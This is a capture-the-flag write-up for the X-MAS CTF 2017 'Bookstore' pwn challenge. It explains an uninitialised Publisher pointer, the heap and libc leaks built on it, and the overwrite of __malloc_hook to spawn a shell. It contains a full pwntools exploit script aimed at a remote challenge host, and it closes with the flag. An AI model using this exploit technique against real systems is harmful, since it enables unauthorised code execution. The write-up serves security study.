X-MAS CTF 2017 PWN Bookstore

Introduction

Due to some personal stuff during Christmas day. I did not solve this challenge during the contest. But I solved this last night and I decided to post my solution here. I am 100% sure that my solution is tedious and complicated. In future I may find a better solution.

Vulnerability Analysis

There are two important data structures in this challenge: Book and Publisher

class Book {
     string name;
     string description;
     int price;
     Publisher *pub;
};

class Publisher {
     int income;
     string name;
     string description;
}

//for those who are not familiar with string object
//a string object, whose length is less than to equal to 0x10
struct string {
     char *ptr;
     unsigned long length;
     char buf[0x10]
}
//ptr is pointing to buf in memory, and length denotes the length of string 
//and decides how many bytes will be displayed when trying to output the string

There is an uninitialised vulnerability in this challenge. When creating an object of book, its member variable pub is initialised according to the input name of publisher. If there is no publisher that has the same name, member variable pub will neither be set to NULL nor set to existing publisher. The member variable will be leftover as it it. We will use this vulnerability to get a shell.

Exploitation Plan

Before discussing our exploitation plan. We need to figure out the implementation and workflow of the target application first.
In this challenge, there are two global vectors in memory: vector located at 0x6063a0 and vector located at 0x606380. In C++, a vector is composed of three data: head pointer, current end pointer and maximum end pointer.
Create Publisher: will create a Publisher object and initialise its income, name and description member variable.
Add Book: will create a Book object and initialise its name, description and price first. Then it will require the user to input a publisher’s name. It will iterate over the publisher vector to search publisher with matching name. If found, set pub to the found publisher. If not, leave the member variable as it is, resulting the uninitialised vulnerability as discussed above.
View Book: will iterate over the book vector and display the info of each book, including publisher info. If pub points to an invalid object, the program will run into crash.
List Publisher: will iterate over the publisher vector and display info of each publisher.
Sell: will add price * num to the income of the publisher stored in book.

If we are able to free a chunk of used memory and allocate a Book object to the same chunk, we can make pub be a value leftover in previous chunk. It means that we can use Sell function to increase the value at a given address. Therefore, our basic plan is leak the address of libc first, use Sell function in modify the value at __malloc_hook then and use magic gadget to get a shell in the end.

To achieve the plan above, we have to discover two implicit free in this challenge:
(1) A character buffer will be freed when allocating a string object. The freed buffer will contain the same content as the allocated buffer.
(2) Book vector will be reallocated to a larger size buffer. The original vector buffer will be freed. The freed buffer is filled with pointer pointing to allocated book.

The implicit free (2) is very important in our exploit. We can allocate a Book, whose pub is pointing to an existing Book object in memory. To be more specific, its pub is pointing to the ptr of name in one Book object. So we can use Sell function to increase the ptr and use View Book to leak the current heap base. However, View Book will iterate over the book vector and display all of them. However, pub of the latest Book object is pointing to a corrupted Publisher, resulting in crash in the end. Therefore, our method is to use implicit free (1) to modify the current end pointer of book vector to avoid displaying the info of latest Book.

After leaking the heap base address, we apply the same method above to leak the value of stdin at 0x606240 and stdout at 0x606370, and get the version of libc in this challenge. After some trials, we confirm that the libc used in this challenge is libc6_2.23-0ubuntu9_amd64.so.

The following steps are straightforward. Repeat the steps above to corrupt the value at __malloc_hook and __realloc_hook to get the shell. Since member variable income is of integer type, we cannot modify a 8-byte value at a given address. Our trick used in this challenge is to repeat the procedure twice, one if for __malloc_hook and the other is for __malloc_hook + 4.

Exploit

from pwn import *
import time

libcName = "libc6_2.23-0ubuntu9_amd64.so"
libc = ELF(libcName);

stdinRelAddr =libc.symbols["_IO_2_1_stdin_"];
mallocHookRelAddr = libc.symbols['__malloc_hook'];
reallocHookRelAddr = libc.symbols["__realloc_hook"];
reallocRelAddr = libc.symbols['realloc'];

DEBUG = int(sys.argv[1]);
if(DEBUG == 0):
    r = remote("207.148.67.213", 1337); 
elif(DEBUG == 1):
    r = process("./bookstore");
elif(DEBUG == 2):
    r = process("./bookstore");
    gdb.attach(r, '''source ./script''');

def addBook(name, desc, price, pubName):
    r.recvuntil("Exit");
    r.sendline("1");
    r.recvuntil("Name :");
    r.sendline(name);
    r.recvuntil("Description :");
    r.sendline(desc);
    r.recvuntil("Price :");
    r.sendline(str(price));
    r.sendline(pubName);

def addPublisher(name, desc):
    r.recvuntil("Exit");
    r.sendline("2");
    r.recvuntil("Name :");
    r.sendline(name);
    r.recvuntil("Description :");
    r.sendline(desc);

def viewBook():
    r.recvuntil("Exit");
    r.sendline("3");

def viewPublisher():
    r.recvuntil("Exit");
    r.sendline("4");

def sell(name, num):
    r.recvuntil("Exit");
    r.sendline("5");
    r.recvuntil("Book Name :");
    r.sendline(name);
    r.recvuntil("Num :");
    r.sendline(str(num));

def exploit():
    addPublisher("1", "a"*0x0f);
    for i in range(0, 0x11):
        log.info(i);
        addBook("A"*8, "a"*0x8, i, "1");

    addBook("junk1", "junk", 1, "0");
    sell("junk1", 0x10);

    payload = "";
    payload = payload + p64(0x606398)*3;
    payload = payload + p64(0x6063b0);
    payload = payload + p64(0x606398)*5
    payload = payload + p64(0x6063a8);
    addBook("A"*0x20, payload, 20, '1');

    addBook("junk2", "junk"*0x1, 1, "0");
    addBook("junk3", "junk"*0x1, -1, "0");

    sell("junk3", 0x20);
    viewBook();
    r.recvuntil("Price : 8");
    r.recvuntil("Name : ");
    leaked = r.recv(8);
    leakedValue = u64(leaked);
    log.info("leaked value: 0x%x" % leakedValue);
    
    heapAddr = leakedValue - 0x30;
    payload = "A"*0x18 + p64(0x6063a8);
    payload = payload + "A"*0x28 + p64(heapAddr) + "A"*0x30;
    addBook("A"*0x20, payload, 20, '1');
    addBook("junk4", "junk", -1, "0");
    addBook("junk5", "junk", -1, "0");
    targetValue = 0x606240;
    num = heapAddr-0x10 - targetValue + 0x30;
    sell("junk4", num);
    sell("junk5", 0x20);
    viewBook();
    
    r.recvuntil("Price : 8");
    r.recvuntil("Name : ");
    leaked = r.recv(8);
    leakedValue = u64(leaked);
    log.info("leaked value: 0x%x" % leakedValue);
    stdinAbsAddr = leakedValue;

    payload = "A"*0x18 + p64(0x6063a8);
    payload = payload + "A"*0x28 + p64(heapAddr) + "A"*0x30;
    addBook("A"*0x20, payload, 20, '1');
    addBook("junk6", "junk", 1, "0");
    
    payload = "A"*0x18 + p64(0x6063a8);
    payload = payload + "A"*0x28 + p64(0x6063a8) + "A"*0x30;
    addBook("A"*0x20, payload, 20, '1');
    addBook("junk7", "junk", -1, "0");

    targetValue = 0x606080;
    sell("junk6", 0x130);
    sell("junk7", 0x40);
    viewBook();
    
    r.recvuntil("Price : 8");
    r.recvuntil("Name : ");
    leaked = r.recv(8);
    leakedValue = u64(leaked);
    log.info("leaked value: 0x%x" % leakedValue);
    stdoutAbsAddr = leakedValue;   


    libcBase = stdinAbsAddr - stdinRelAddr;
    log.info("libcBase: 0x%x" % libcBase);

    mallocHookAbsAddr = libcBase + mallocHookRelAddr;
    log.info("malloc hook addr: 0x%x" % mallocHookAbsAddr);
    payload = "A"*0x18 + p64(0x6063a8);
    payload = payload + "A"*0x28 + p64(mallocHookAbsAddr) + "A"*0x30;
    addBook("A"*0x20, payload, 20, '1');
    addBook("junk8", "junk", 1, "0");
    addBook("junk9", "junk", 1, "0"); 

    payload = "A"*0x18 + p64(0x6063a8);
    payload = payload + "A"*0x28 + p64(mallocHookAbsAddr+4) + "A"*0x30;
    addBook("A"*0x20, payload, 20, '1');
    addBook("junka", "junk", 1, "0");
    addBook("junkb", "junk", 1, "0");

    reallocHookAbsAddr = libcBase + reallocHookRelAddr;
    payload = "A"*0x18 + p64(0x6063a8);
    payload = payload + "A"*0x28 + p64(reallocHookAbsAddr) + "A"*0x30;
    addBook("A"*0x20, payload, 20, '1');
    addBook("junkc", "junk", 1, "0");
    addBook("junkd", "junk", 1, "0");

    reallocHookAbsAddr = libcBase + reallocHookRelAddr;
    payload = "A"*0x18 + p64(0x6063a8);
    payload = payload + "A"*0x28 + p64(reallocHookAbsAddr+4) + "A"*0x30;
    addBook("A"*0x20, payload, 20, '1');
    addBook("junke", "junk", -1, "0");
    addBook("junkf", "junk", 1, "0");

    reallocAbsAddr = libcBase + reallocRelAddr;

    lowPart = reallocAbsAddr & 0xffffffff;
    highPart = (reallocAbsAddr & 0xffff00000000)>>32;

    sell("junkc", 0xf1117-0x85a00);

    sell("junk8", lowPart+2);
    sell("junka", highPart);

    addPublisher("2", "ABCDEFGH");
    r.interactive();

exploit();

#XMAS{ca11_m3_010-5328-7405}

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.